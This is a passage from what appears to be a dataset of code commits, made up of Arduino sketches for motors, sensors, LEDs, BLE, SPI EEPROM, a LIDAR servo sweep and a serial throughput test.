motorFrontLeft->setSpeed(100);\n motorFrontLeft->run(FORWARD);\n motorBackLeft->setSpeed(100);\n motorBackLeft->run(BACKWARD);\n\n motorBackRight->setSpeed(100);\n motorBackRight->run(BACKWARD);\n motorFrontRight->setSpeed(100);\n motorFrontRight->run(BACKWARD);\n motorMiddleRight->setSpeed(100);\n motorMiddleRight->run(BACKWARD);\n}\n\nvoid loop() {\n}\n","subject":"Add initial robot motor body code","message":"Add initial robot motor body code\n","lang":"Arduino","license":"mit","repos":"johnflux\/FluxRobot,johnflux\/FluxRobot,johnflux\/FluxRobot,johnflux\/FluxRobot"} {"commit":"93d9896f961d9cf2b4fe39ae93a75bba14a21a92","old_file":"arduino\/encoders_and_leds_test\/encoders_and_leds_test.ino","new_file":"arduino\/encoders_and_leds_test\/encoders_and_leds_test.ino","old_contents":"","new_contents":"\/\/ Total number of input channels supported by the hardware\nconst uint8_t numChannels = 5;\nconst uint8_t ledPins[] = {2, 4, 7, 8, 12};\nconst uint8_t encoderPins[] = {5, 6, 9, 10, 11};\nunsigned long currentEncoderValues[] = {0, 0, 0, 0, 0};\nunsigned long previousEncoderValues[] = {0, 0, 0, 0, 0};\nconst unsigned long encoderValueThreshold = 2048;\n\n\/\/ Number of active parameters in the sketch\nconst uint8_t numParams = 4;\n\n\/*\n * Tests the LEDs and encoders. \n * If the encoder value is over a given threshold, the corresponding LED is lit.\n *\/\nvoid setup()\n{\n Serial.begin(57600);\n for (uint8_t i = 0; i < numChannels; i++)\n {\n pinMode(ledPins[i], OUTPUT);\n pinMode(encoderPins[i], INPUT);\n }\n}\n\nvoid loop()\n{\n for (uint8_t i = 0; i < numParams; i++)\n {\n previousEncoderValues[i] = currentEncoderValues[i];\n currentEncoderValues[i] = pulseIn(encoderPins[i], HIGH);\n\n Serial.print(currentEncoderValues[i]);\n if (i < numParams - 1)\n {\n Serial.print(\" \");\n }\n if (currentEncoderValues[i] > encoderValueThreshold)\n {\n digitalWrite(ledPins[i], HIGH);\n }\n else\n {\n digitalWrite(ledPins[i], LOW);\n }\n }\n Serial.println();\n}","subject":"Add Arduino sketch to test encoders and leds","message":"Add Arduino sketch to test encoders and leds\n","lang":"Arduino","license":"mit","repos":"sh0w\/recoded,sh0w\/recoded,sh0w\/recoded,sh0w\/recoded"} {"commit":"d04b0c047011cdf3f6a02140d1c412b89265caff","old_file":"tinkering\/sensorboard\/ADXL362_SimpleRead\/ADXL362_SimpleRead.ino","new_file":"tinkering\/sensorboard\/ADXL362_SimpleRead\/ADXL362_SimpleRead.ino","old_contents":"","new_contents":"\/*\n ADXL362_SimpleRead.ino - Simple XYZ axis reading example\n for Analog Devices ADXL362 - Micropower 3-axis accelerometer\n go to http:\/\/www.analog.com\/ADXL362 for datasheet\n \n \n License: CC BY-SA 3.0: Creative Commons Share-alike 3.0. Feel free \n to use and abuse this code however you'd like. If you find it useful\n please attribute, and SHARE-ALIKE!\n \n Created June 2012\n by Anne Mahaffey - hosted on http:\/\/annem.github.com\/ADXL362\n\n Modified May 2013\n by Jonathan Ruiz de Garibay\n \nConnect SCLK, MISO, MOSI, and CSB of ADXL362 to\nSCLK, MISO, MOSI, and DP 10 of Arduino \n(check http:\/\/arduino.cc\/en\/Reference\/SPI for details)\n \n*\/ \n\n#include \n#include \n\nADXL362 xl;\n\nint16_t temp;\nint16_t XValue, YValue, ZValue, Temperature;\n\nvoid setup(){\n \n Serial.begin(9600);\n xl.begin(10); \/\/ Setup SPI protocol, issue device soft reset\n xl.beginMeasure(); \/\/ Switch ADXL362 to measure mode \n\t\n Serial.println(\"Start Demo: Simple Read\");\n}\n\nvoid loop(){\n \n \/\/ read all three axis in burst to ensure all measurements correspond to same sample time\n xl.readXYZTData(XValue, YValue, ZValue, Temperature); \n Serial.print(\"XVALUE=\");\n Serial.print(XValue);\t \n Serial.print(\"\\tYVALUE=\");\n Serial.print(YValue);\t \n Serial.print(\"\\tZVALUE=\");\n Serial.print(ZValue);\t \n Serial.print(\"\\tTEMPERATURE=\");\n Serial.println(Temperature);\t \n delay(100); \/\/ Arbitrary delay to make serial monitor easier to observe\n}\n\n","subject":"Test for accelerometer on sensorboard.","message":"Test for accelerometer on sensorboard.\n","lang":"Arduino","license":"mit","repos":"fkmclane\/derailleurs,fkmclane\/derailleurs,fkmclane\/derailleurs"} {"commit":"82fe8883c42a5df36a1b79b4ba918049b14a4e30","old_file":"projects\/C7C.Atamo.Dusty.Mote_0_0_2\/resources\/Testing\/TU_SH_DpUart_external_op.ino","new_file":"projects\/C7C.Atamo.Dusty.Mote_0_0_2\/resources\/Testing\/TU_SH_DpUart_external_op.ino","old_contents":"","new_contents":"#include \n\n\/\/ software serial #2: RX = digital pin 8, TX = digital pin 9\n\/\/ on the Mega, use other pins instead, since 8 and 9 don't work on the Mega\nSoftwareSerial portTwo(8, 9);\n\nvoid setup() {\n\n pinMode(LED_BUILTIN, OUTPUT);\n \n \/\/ Open serial communications and wait for port to open:\n Serial.begin(9600);\n while (!Serial) {\n ; \/\/ wait for serial port to connect. Needed for native USB port only\n }\n\n\n \/\/ Start each software serial portm\n portTwo.begin(9600);\n\n digitalWrite(LED_BUILTIN, LOW);\n}\n\nvoid loop() {\n\n\n \/\/ Now listen on the second port\n portTwo.listen();\n \/\/ while there is data coming in, read it\n \/\/ and send to the hardware serial port:\n Serial.println(\"Data from port two:\");\n while (portTwo.available() > 0) {\n char inByte = portTwo.read();\n delay(500);\n Serial.write(inByte);\n }\n}\n","subject":"Add project resources for Mote","message":"Add project resources for Mote\n\nProject resources ships external build files required (primarily\nfor testing)\n","lang":"Arduino","license":"mit","repos":"CloudSevenConsulting\/DustyDuinoPro,CloudSevenConsulting\/DustyDuinoPro"} {"commit":"41105eb3e799b2cc65f084c8625ab7ca43fe975a","old_file":"HBridgePWM\/Sabertooth\/Sabertooth.ino","new_file":"HBridgePWM\/Sabertooth\/Sabertooth.ino","old_contents":"","new_contents":"\/\/ Software Serial Sample\n\/\/ Copyright (c) 2012 Dimension Engineering LLC\n\/\/ See license.txt for license details.\n\n#include \n#include \n\nSoftwareSerial SWSerial(NOT_A_PIN, 11); \/\/ RX on no pin (unused), TX on pin 11 (to S1).\nSabertoothSimplified ST(SWSerial); \/\/ Use SWSerial as the serial port.\n\nvoid setup()\n{\n SWSerial.begin(9600);\n}\n\nvoid loop()\n{\n int power;\n \n \/\/ Ramp from -127 to 127 (full reverse to full forward), waiting 20 ms (1\/50th of a second) per value.\n for (power = -127; power <= 127; power ++)\n {\n ST.motor(1, power);\n delay(20);\n }\n \n \/\/ Now go back the way we came.\n for (power = 127; power >= -127; power --)\n {\n ST.motor(1, power);\n delay(20);\n }\n}\n\n","subject":"Add a file to control sabertooth board","message":"Add a file to control sabertooth board\n","lang":"Arduino","license":"mit","repos":"baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite"} {"commit":"6c56abd028f6b66d9a8f1333292a01ed96dd4bd7","old_file":"examples\/temp_sensor\/temp_sensor.ino","new_file":"examples\/temp_sensor\/temp_sensor.ino","old_contents":"","new_contents":"\/\/ TimerOne library: https:\/\/code.google.com\/p\/arduino-timerone\/\n#include \n#include \n#include \n\n\/\/ define pins (varies per shield\/board)\n#define BLE_REQ 10\n#define BLE_RDY 2\n#define BLE_RST 9\n\nBLEPeripheral blePeripheral = BLEPeripheral(BLE_REQ, BLE_RDY, BLE_RST);\n\nBLEService tempService = BLEService(\"CCC0\");\n\nBLEIntCharacteristic tempCharacteristic = BLEIntCharacteristic(\"CCC1\", BLERead | BLENotify);\nBLEDescriptor tempDescriptor = BLEDescriptor(\"2901\", \"Celsius\");\n\nvolatile bool readTemperature = false;\n\nvoid setup() {\n Serial.begin(115200);\n#if defined (__AVR_ATmega32U4__)\n \/\/Wait until the serial port is available (useful only for the Leonardo)\n \/\/As the Leonardo board is not reseted every time you open the Serial Monitor\n while(!Serial) {}\n delay(5000); \/\/5 seconds delay for enabling to see the start up comments on the serial board\n#endif\n\n blePeripheral.setLocalName(\"Temperature\");\n blePeripheral.setAdvertisedServiceUuid(tempService.uuid());\n blePeripheral.addAttribute(tempService);\n blePeripheral.addAttribute(tempCharacteristic);\n blePeripheral.addAttribute(tempDescriptor);\n\n blePeripheral.setEventHandler(BLEConnected, blePeripheralConnectHandler);\n blePeripheral.setEventHandler(BLEDisconnected, blePeripheralDisconnectHandler);\n\n blePeripheral.begin();\n \n Timer1.initialize(1 * 1000000); \/\/ in milliseconds\n Timer1.attachInterrupt(timerHandler);\n}\n\nvoid loop() {\n blePeripheral.poll();\n \n if (readTemperature) {\n setTempCharacteristicValue();\n readTemperature = false;\n }\n}\n\nvoid timerHandler() {\n readTemperature = true;\n}\n\nvoid setTempCharacteristicValue() {\n int temp = readTempC();\n tempCharacteristic.setValue(temp);\n Serial.println(temp);\n}\n\nint readTempC() {\n \/\/ Stubbing out for demo with random value generator\n \/\/ Replace with actual sensor reading code\n return random(100);\n}\n\nvoid blePeripheralConnectHandler(BLECentral& central) {\n Serial.print(F(\"Connected event, central: \"));\n Serial.println(central.address());\n}\n\nvoid blePeripheralDisconnectHandler(BLECentral& central) {\n Serial.print(F(\"Disconnected event, central: \"));\n Serial.println(central.address());\n}\n","subject":"Add temp sensor example sketch","message":"Add temp sensor example sketch\n","lang":"Arduino","license":"mit","repos":"sandeepmistry\/arduino-BLEPeripheral,femtoduino\/arduino-BLEPeripheral,sandeepmistry\/arduino-BLEPeripheral,sandeepmistry\/arduino-BLEPeripheral,pi19404\/arduino-BLEPeripheral,possan\/arduino-BLEPeripheral,femtoduino\/arduino-BLEPeripheral,possan\/arduino-BLEPeripheral,pi19404\/arduino-BLEPeripheral"} {"commit":"08bccef6e71d1815f63c743dec8c72d02ddb842c","old_file":"sketches\/tests\/sched_blinksda\/sched_blinksda.ino","new_file":"sketches\/tests\/sched_blinksda\/sched_blinksda.ino","old_contents":"","new_contents":"\/**\n * Use the schedule class to have two different LEDs on one JeeNode\n * port flash at different rates. One LED is on DIO and the other\n * AIO. \n *\n * This is a straight-forward modification of the sched_blinks.ino\n * sketch.\n *\n * Based largely on jcw's \"schedule\" and \"blink_ports\" sketches \n *\n * Changes:\n * - remove BlinkPlug specifics but use the same techniques. The\n * LEDs are wired between DIO\/AIO and GND rather than VCC and\n * DIO\/AIO as in the BlinkPlug code.\n *\n * Original \"blink_ports\" sketch:\n * 2009-02-13 http:\/\/opensource.org\/licenses\/mit-license.php\n * Original \"schedule\" sketch:\n * 2010-10-18 http:\/\/opensource.org\/licenses\/mit-license.php\n * Modifications\n * 2015-08-14 http:\/\/opensource.org\/licenses\/mit-license.php\n *\/\n\n#include \n\nPort one (4);\n\n\/\/ Connect a series resistor (470 or 1k ohm) to two leds. Connect one\n\/\/ to pins 2 (DIO) and 3 (GND) on Jeenode port 4 and the other to pins\n\/\/ 5 (AIO) and 3 (GND).\n\nenum { TASK1, TASK2, TASK_LIMIT };\n\nstatic word schedBuf[TASK_LIMIT];\nScheduler scheduler (schedBuf, TASK_LIMIT);\n\nbyte led1, led2;\n\n\/\/ this has to be added since we're using the watchdog for low-power waiting\nISR(WDT_vect) { Sleepy::watchdogEvent(); }\n\nvoid setup () {\n Serial.begin(57600);\n Serial.println(\"\\n[schedule]\");\n Serial.flush();\n \n \/\/ turn the radio off completely\n rf12_initialize(17, RF12_868MHZ);\n rf12_sleep(RF12_SLEEP);\n\n one.mode(OUTPUT);\n one.mode2(OUTPUT);\n\n led1 = 0;\n led2 = 0;\n \n \/\/ start both tasks 1.5 seconds from now\n scheduler.timer(TASK1, 15);\n scheduler.timer(TASK2, 15);\n}\n\nvoid loop () {\n switch (scheduler.pollWaiting()) {\n \/\/ LED 1 blinks .1 second every second\n case TASK1:\n led1 = !led1;\n if (led1) {\n one.digiWrite(1);\n scheduler.timer(TASK1, 1);\n } else {\n one.digiWrite(0);\n scheduler.timer(TASK1, 8);\n }\n break;\n \/\/ LED 2 blinks .5 second every second\n case TASK2:\n led2 = !led2;\n if (led2) {\n one.digiWrite2(1);\n scheduler.timer(TASK2, 1);\n } else {\n one.digiWrite2(0);\n scheduler.timer(TASK2, 3);\n }\n break;\n }\n}\n\n","subject":"Test script for flashing LEDs on same port using AIO and DIO","message":"Test script for flashing LEDs on same port using AIO and DIO\n","lang":"Arduino","license":"mit","repos":"wmadill\/grant-lighting,wmadill\/grant-lighting"} {"commit":"4893315b91d9167143a83e7e5bd464ac7c0846d6","old_file":"examples\/HIH61xx_SoftWire_simple_demo\/HIH61xx_SoftWire_simple_demo.ino","new_file":"examples\/HIH61xx_SoftWire_simple_demo\/HIH61xx_SoftWire_simple_demo.ino","old_contents":"","new_contents":"\/\/ This example demonstrates how to use the HIH61xx class with the SoftWire library. SoftWire is a software I2C\n\/\/ implementation which enables any two unused pins to be used as a I2C bus. A blocking read is made to the\n\/\/ HIH61xx device. See HIH61xx_SoftWire_demo for a more sophisticated example which allows other tasks to run\n\/\/ whilst the HIH61xx takes its measurements.\n\n#include \n#include \n#include \n\n\/\/ Create an instance of the SoftWire class called \"sw\". In this example it uses the same pins as the hardware I2C\n\/\/ bus. Pass the pin numbers to use different pins.\nSoftWire sw(SDA, SCL);\n\n\/\/ The \"hih\" object must be created with a reference to the SoftWire \"sw\" object which represents the I2C bus it is\n\/\/ using. Note that the class for the SoftWire object must be included in the templated class name.\nHIH61xx hih(sw);\n\nAsyncDelay samplingInterval;\n\n\/\/ SoftWire requires that the programmer declares the buffers used. This allows the amount of memory used to be set\n\/\/ according to need. For the HIH61xx only a very small RX buffer is needed.\nuint8_t i2cRxBuffer[4];\nuint8_t i2cTxBuffer[32];\n\nvoid setup(void)\n{\n#if F_CPU >= 12000000UL\n Serial.begin(115200);\n#else\n\tSerial.begin(9600);\n#endif\n\n \/\/ The pin numbers for SDA\/SCL can be overridden at runtime.\n\t\/\/ sw.setSda(sdaPin);\n\t\/\/ sw.setScl(sclPin);\n\n\n\tsw.setRxBuffer(i2cRxBuffer, sizeof(i2cRxBuffer));\n\t\/\/sw.setTxBuffer(i2cTxBuffer, sizeof(i2cTxBuffer));\n\n\t\/\/ HIH61xx doesn't need a TX buffer at all but other I2C devices probably will.\n\t\/\/sw.setTxBuffer(i2cTxBuffer, sizeof(i2cTxBuffer));\n\tsw.setTxBuffer(NULL, 0);\n\n\tsw.begin(); \/\/ Sets up pin mode for SDA and SCL\n\n\thih.initialise();\n\tsamplingInterval.start(3000, AsyncDelay::MILLIS);\n}\n\n\nvoid loop(void)\n{\n \/\/ Instruct the HIH61xx to take a measurement. This blocks until the measurement is ready.\n hih.read();\n\n \/\/ Fetch and print the results\n Serial.print(\"Relative humidity: \");\n Serial.print(hih.getRelHumidity() \/ 100.0);\n Serial.println(\" %\");\n Serial.print(\"Ambient temperature: \");\n Serial.print(hih.getAmbientTemp() \/ 100.0);\n Serial.println(\" deg C\");\n Serial.print(\"Status: \");\n Serial.println(hih.getStatus());\n\n \/\/ Wait a second\n delay(1000);\n}","subject":"Add example demonstrating the simple `read()` command and SoftWire","message":"Add example demonstrating the simple `read()` command and SoftWire\n","lang":"Arduino","license":"lgpl-2.1","repos":"stevemarple\/HIH61xx"} {"commit":"fa23210d8cc415f507c6f1c78b958dcc854081d5","old_file":"arduino\/tests\/tests\/tests.ino","new_file":"arduino\/tests\/tests\/tests.ino","old_contents":"","new_contents":"\n\n\/*\n * User testing for the arduino\n * Two kinds of messages can be send to the arduino:\n * - 0-255\n * - S,1,#\n * c rrrgggbbb\n * - L,1,C#########\\n\n*\/\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n Serial.begin(9600);\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n \n}\n\n\/\/ Serial event gets called when anything in the serial happens.\nvoid serialEvent() {\n String s = \"\";\n while(Serial.available()) {\n char c = (char)Serial.read();\n s += c;\n if (c == '\\n') {\n Serial.print(s);\n }\n }\n}\n","subject":"Test for checking the processing code","message":"Test for checking the processing code\n","lang":"Arduino","license":"mit","repos":"PeterVerzijl\/TableOfContinents,TonyTonijn\/TableOfContinents,TonyTonijn\/TableOfContinents,PeterVerzijl\/TableOfContinents"} {"commit":"d0c074e481e43fbc6bfbf1b80843a34f6bd3fce9","old_file":"CurieIMU\/CurieIMU.ino","new_file":"CurieIMU\/CurieIMU.ino","old_contents":"","new_contents":"#include \"CurieIMU.h\"\n\n\nvoid setup() {\n\n Serial.begin(9600);\n\n \/\/ Initialize internal IMU\n CurieIMU.begin();\n\n \/\/ Set accelerometer range to 2G\n CurieIMU.setAccelerometerRange(2);\n}\n\nvoid loop() {\n float ax, ay, az;\n\n CurieIMU.readAccelerometerScaled(ax, ay, az);\n Serial.print(\"Value ax:\");\n Serial.print(ax);\n Serial.print(\" \/ ay:\");\n Serial.print(ay);\n Serial.print(\" \/ az:\");\n Serial.println(az);\n delay(100);\n}\n","subject":"Implement IMU unit on Curie","message":"Implement IMU unit on Curie\n","lang":"Arduino","license":"mit","repos":"niccolli\/WebBluetoothAPIwithCURIE"} {"commit":"95a56ce4185f2863b98403ee4e6875de1c27e374","old_file":"examples\/Widgets\/LED\/LED_Color\/LED_Color.ino","new_file":"examples\/Widgets\/LED\/LED_Color\/LED_Color.ino","old_contents":"","new_contents":"\/**************************************************************\n * Blynk is a platform with iOS and Android apps to control\n * Arduino, Raspberry Pi and the likes over the Internet.\n * You can easily build graphic interfaces for all your\n * projects by simply dragging and dropping widgets.\n *\n * Downloads, docs, tutorials: http:\/\/www.blynk.cc\n * Blynk community: http:\/\/community.blynk.cc\n * Social networks: http:\/\/www.fb.com\/blynkapp\n * http:\/\/twitter.com\/blynk_app\n *\n * Blynk library is licensed under MIT license\n * This example code is in public domain.\n *\n **************************************************************\n * Blynk using a LED widget on your phone!\n *\n * App project setup:\n * LED widget on V1\n *\n * WARNING :\n * For this example you'll need SimpleTimer library:\n * https:\/\/github.com\/jfturcot\/SimpleTimer\n * Visit this page for more information:\n * http:\/\/playground.arduino.cc\/Code\/SimpleTimer\n *\n **************************************************************\/\n\n#define BLYNK_PRINT Serial \/\/ Comment this out to disable prints and save space\n#include \n#include \n#include \n#include \n\n\/\/ You should get Auth Token in the Blynk App.\n\/\/ Go to the Project Settings (nut icon).\nchar auth[] = \"YourAuthToken\";\n\nWidgetLED led1(V1);\n\nSimpleTimer timer;\n\n#define BLYNK_GREEN \"#23C48E\"\n#define BLYNK_BLUE \"#04C0F8\"\n#define BLYNK_YELLOW \"#ED9D00\"\n#define BLYNK_RED \"#D3435C\"\n#define BLYNK_DARK_BLUE \"#5F7CD8\"\n\nvoid setup()\n{\n Serial.begin(9600); \/\/ See the connection status in Serial Monitor\n Blynk.begin(auth);\n\n timer.setInterval(1000L, blinkLedWidget);\n}\n\n\/\/ V1 LED Widget is blinking\nvoid blinkLedWidget()\n{\n if (led1.getValue()) {\n led1.setColor(BLYNK_RED);\n Serial.println(\"LED on V1: red\");\n } else {\n led1.setColor(BLYNK_GREEN);\n Serial.println(\"LED on V1: green\");\n }\n}\n\nvoid loop()\n{\n Blynk.run();\n timer.run();\n}\n\n","subject":"Add LED widget setColor example","message":"Add LED widget setColor example\n","lang":"Arduino","license":"mit","repos":"blynkkk\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,ivankravets\/blynk-library,ivankravets\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library,blynkkk\/blynk-library"} {"commit":"a75dbb9357a831bf6046bbe55fd779cfcca697f1","old_file":"examples\/mbino-example-spi-25lc040\/mbino-example-spi-25lc040.ino","new_file":"examples\/mbino-example-spi-25lc040\/mbino-example-spi-25lc040.ino","old_contents":"","new_contents":"#include \"mbed.h\"\n\n\/\/ use fully qualified class name to resolve ambiguities with\n\/\/ Arduino's own global \"SPI\" object\nmbed::SPI spi(SPI_MOSI, SPI_MISO, SPI_SCK);\nDigitalOut cs(D10);\n\nRawSerial pc(USBTX, USBRX);\n\nstatic const uint8_t READ = 0x03; \/\/ read data from memory array\nstatic const uint8_t WRITE = 0x02; \/\/ write data to memory array\nstatic const uint8_t WRDI = 0x04; \/\/ disable write operations\nstatic const uint8_t WREN = 0x06; \/\/ enable write operations\nstatic const uint8_t RDSR = 0x05; \/\/ read STATUS register\nstatic const uint8_t WRSR = 0x01; \/\/ write STATUS register\n\nuint16_t address = 0; \/\/ 0..511\n\nvoid setup() {\n \/\/ Chip must be deselected\n cs = 1;\n\n \/\/ Setup the spi for 8 bit data, high steady state clock, second\n \/\/ edge capture, with a 1MHz clock rate\n spi.format(8, 0);\n\n spi.set_default_write_value(0);\n}\n\nvoid loop() {\n const char tx_buffer[16] = \"0123456789ABCDEF\";\n char rx_buffer[16];\n\n pc.printf(\"write @0x%03x: %.16s\\r\\n\", address, tx_buffer);\n\n cs = 0;\n wait_ms(1);\n spi.write(WREN);\n spi.write(0);\n wait_ms(1);\n cs = 1;\n\n wait_ms(1);\n\n cs = 0;\n wait_ms(1);\n spi.write(WRITE | ((address & 0x100) >> 5));\n spi.write(address & 0xff);\n spi.write(tx_buffer, sizeof tx_buffer, 0, 0);\n wait_ms(1);\n cs = 1;\n\n wait_ms(1);\n\n cs = 0;\n wait_ms(1);\n spi.write(READ | ((address & 0x100) >> 5));\n spi.write(address & 0xff);\n spi.write(0, 0, rx_buffer, sizeof rx_buffer);\n wait_ms(1);\n cs = 1;\n\n pc.printf(\"read @0x%03x: %.16s\\r\\n\", address, rx_buffer);\n\n address += 16;\n address %= 512;\n\n wait(1);\n}\n\n#ifndef ARDUINO\nint main() {\n setup();\n for (;;) {\n loop();\n }\n}\n#endif\n","subject":"Add SPI EEPROM 25LC040 example.","message":"Add SPI EEPROM 25LC040 example.\n","lang":"Arduino","license":"apache-2.0","repos":"tkem\/mbino,tkem\/mbino,tkem\/mbino"} {"commit":"e22998424748a7125b73e152ab7ad301f0ed248b","old_file":"examples\/OneShotExample\/OneShotExample.ino","new_file":"examples\/OneShotExample\/OneShotExample.ino","old_contents":"","new_contents":"#include \n\nAsyncDelay oneShot;\nbool messagePrinted = false;\n\nvoid setup(void)\n{\n Serial.begin(9600);\n Serial.println(\"Starting one-shot timer\");\n oneShot.start(5000, AsyncDelay::MILLIS);\n}\n\n\nvoid loop(void)\n{\n if (!messagePrinted && oneShot.isExpired()) {\n Serial.print(\"The timer was started \");\n Serial.print(oneShot.getDelay());\n if (oneShot.getUnit() == AsyncDelay::MILLIS)\n Serial.println(\" ms ago\");\n else\n Serial.println(\" us ago\");\n messagePrinted = true; \/\/ Print the message just once\n oneShot = AsyncDelay();\n }\n}\n","subject":"Add example showing one-shot usage","message":"Add example showing one-shot usage\n","lang":"Arduino","license":"lgpl-2.1","repos":"stevemarple\/AsyncDelay"} {"commit":"9c47fcfc3969b53d20166d1df0c6615bbe4abee7","old_file":"arduino\/LidarServo\/LidarServo.ino","new_file":"arduino\/LidarServo\/LidarServo.ino","old_contents":"","new_contents":"#include \n#include \n#define LIDARLite_ADDRESS 0x62 \/\/ Default I2C Address of LIDAR-Lite.\n#define RegisterMeasure 0x00 \/\/ Register to write to initiate ranging.\n#define MeasureValue 0x04 \/\/ Value to initiate ranging.\n#define RegisterHighLowB 0x8f \/\/ Register to get both High and Low bytes in 1 call.\n\nServo myservo;\nint pos = 0;\nint range = 0;\n\nint STARTANGLE = 45;\nint ENDANGLE = 135;\n\nvoid setup() {\n Serial.begin(9600); \/\/Opens serial connection at 9600bps.\n I2c.begin(); \/\/ Opens & joins the irc bus as master\n delay(100); \/\/ Waits to make sure everything is powered up before sending or receiving data\n I2c.timeOut(50); \/\/ Sets a timeout to ensure no locking up of sketch if I2C communication fails\n \n myservo.attach(13);\n}\n\nint getLidarRange(){\n \/\/ Write 0x04 to register 0x00\n uint8_t nackack = 100; \/\/ Setup variable to hold ACK\/NACK resopnses\n while (nackack != 0) { \/\/ While NACK keep going (i.e. continue polling until sucess message (ACK) is received )\n nackack = I2c.write(LIDARLite_ADDRESS, RegisterMeasure, MeasureValue); \/\/ Write 0x04 to 0x00\n delay(1); \/\/ Wait 1 ms to prevent overpolling\n }\n\n byte distanceArray[2]; \/\/ array to store distance bytes from read function\n\n \/\/ Read 2byte distance from register 0x8f\n nackack = 100; \/\/ Setup variable to hold ACK\/NACK resopnses\n while (nackack != 0) { \/\/ While NACK keep going (i.e. continue polling until sucess message (ACK) is received )\n nackack = I2c.read(LIDARLite_ADDRESS, RegisterHighLowB, 2, distanceArray); \/\/ Read 2 Bytes from LIDAR-Lite Address and store in array\n delay(1); \/\/ Wait 1 ms to prevent overpolling\n }\n int distance = (distanceArray[0] << 8) + distanceArray[1]; \/\/ Shift high byte [0] 8 to the left and add low byte [1] to create 16-bit int\n return distance;\n}\n\nvoid spinAndScan(int pos){\n \/\/ move servo to position\n myservo.write(pos);\n\n \/\/scan and print distance\n range = getLidarRange();\n Serial.print(\"range: \");\n Serial.print(range);\n Serial.print(\" pos: \");\n Serial.println(pos - 90);\n}\n \n\nvoid loop() { \n for(pos = STARTANGLE; pos < ENDANGLE; pos += 1){\n spinAndScan(pos);\n }\n for(pos = ENDANGLE; pos>=STARTANGLE; pos-=1){\n spinAndScan(pos);\n }\n}\n\r\n","subject":"Add arduino Lidar and servo sweeping code","message":"Add arduino Lidar and servo sweeping code\n","lang":"Arduino","license":"mit","repos":"Erik-J-D\/SYDE361-AutomotiveIOT-PhoneApp-Sensors,Erik-J-D\/SYDE361-AutomotiveIOT-PhoneApp-Sensors,Erik-J-D\/SYDE361-AutomotiveIOT-PhoneApp-Sensors,Erik-J-D\/SYDE361-AutomotiveIOT-PhoneApp-Sensors,Erik-J-D\/SYDE361-AutomotiveIOT-PhoneApp-Sensors"} {"commit":"21e972aa2a1971db29fca916189718d65921e80d","old_file":"BlinkAttiny85\/BlinkAttiny85.ino","new_file":"BlinkAttiny85\/BlinkAttiny85.ino","old_contents":"","new_contents":"\/*\n Blink\n Turns on an LED on for one second, then off for one second, repeatedly.\n \n This example code is in the public domain.\n *\/\n\n\/\/ Pin 13 has an LED connected on most Arduino boards.\n\/\/ give it a name:\nint led = 3;\nint led2 = 4;\n\n\/\/ the setup routine runs once when you press reset:\nvoid setup() { \n \/\/ initialize the digital pin as an output.\n pinMode(led, OUTPUT); \n pinMode(led2, OUTPUT); \n}\n\n\/\/ the loop routine runs over and over again forever:\nvoid loop() {\n digitalWrite(led, HIGH);\n digitalWrite(led2, LOW); \/\/ turn the LED on (HIGH is the voltage level)\n delay(1000); \/\/ wait for a second\n digitalWrite(led, LOW);\n digitalWrite(led2, HIGH); \/\/ turn the LED off by making the voltage LOW\n delay(1000); \/\/ wait for a second\n}\n\n","subject":"Add blink test for Attiny85","message":"Add blink test for Attiny85\n\ntest OK with new core arduino-tiny\n","lang":"Arduino","license":"mit","repos":"totothekiller\/weather-station,totothekiller\/weather-station"} {"commit":"587706b8496205d89585c1e5bd547f824d363386","old_file":"arduino\/2x2x2-cube.ino","new_file":"arduino\/2x2x2-cube.ino","old_contents":"","new_contents":"#define REP(x,n) for(int x=0;x 0){\n int x = random(2);\n int y = random(2);\n int z = random(2);\n if(cube[y][x][z]==0){\n cube[y][x][z]=1;\n count--;\n show(time);\n }\n }\n}\n\nvoid layerSpiral(int i, int time) {\n REP(j,2) {\n cube[i][0][j] = 1;\n show(time);\n clear();\n }\n REP(j,2) {\n cube[i][1][1-j] = 1;\n show(time);\n clear();\n }\n}\n\nvoid layer(int i, int time) {\n REP(j,2) REP(k,2) cube[i][j][k] = 1;\n show(time);\n clear();\n}\n\nvoid loop() {\n const int t = 100;\n \n REP(x,4)\n REP(l,2){\n layer(l, 500);\n }\n \n REP(x,3) ALL {\n cube[i][j][k] = 1;\n show(t);\n clear();\n }\n \n REP(x,3){\n randomIn(t);\n clear();\n }\n\n REP(i,3){\n REP(l,2){\n REP(x,3) layerSpiral(l, t);\n }\n }\n}\n\nvoid show(int time){\n REP(t,time\/DELAY\/2){\n REP(i,2){\n digitalWrite(rows[i], LOW);\n REP(j,2) REP(k,2){\n digitalWrite(cols[j][k], cube[i][j][k] ? HIGH : LOW);\n }\n delay(DELAY);\n digitalWrite(rows[i], HIGH);\n }\n }\n}\n","subject":"Add simple demo stuff for 2x2x2 cube","message":"Add simple demo stuff for 2x2x2 cube\n","lang":"Arduino","license":"mit","repos":"neojski\/random,neojski\/random,neojski\/random,neojski\/random,neojski\/random,neojski\/random,neojski\/random,neojski\/random"} {"commit":"d942f251f7e7b92f11bb4f699e819384a4b178fa","old_file":"serial\/teensy32-throughput\/teensy32-throughput.ino","new_file":"serial\/teensy32-throughput\/teensy32-throughput.ino","old_contents":"","new_contents":"\/\/#define USE_BINARY\n\nconst int sampleRate = 8000;\nconst long serialRate = 2000000;\nconst int NWORDS = 20;\nconst int WSIZE = sizeof(uint16_t);\nconst int NBYTES = NWORDS * WSIZE;\n\nvolatile bool pushData = false;\ntypedef union { uint16_t words[NWORDS]; uint8_t bytes[NBYTES]; } MODEL;\nMODEL m;\n\nIntervalTimer myTimer;\n\nvoid setup(void) {\n for (int i = 0; i < NWORDS; i++) m.words[i] = i+1000;\n pinMode(LED_BUILTIN, OUTPUT);\n SerialUSB.begin(serialRate);\n myTimer.begin(blinkLED, 1000000 \/ sampleRate);\n}\n\nvoid blinkLED(void) {\n pushData = true;\n}\n\nvoid loop(void) {\n static int counter = 0;\n bool state = (counter++ >> 12) % 2;\n digitalWrite(LED_BUILTIN, state ? HIGH : LOW);\n if (pushData) {\n pushData = false;\n #ifdef USE_BINARY\n SerialUSB.write(m.bytes, NBYTES);\n #else\n for (int i = 0; i < NWORDS; i++) {\n if (i!=0) 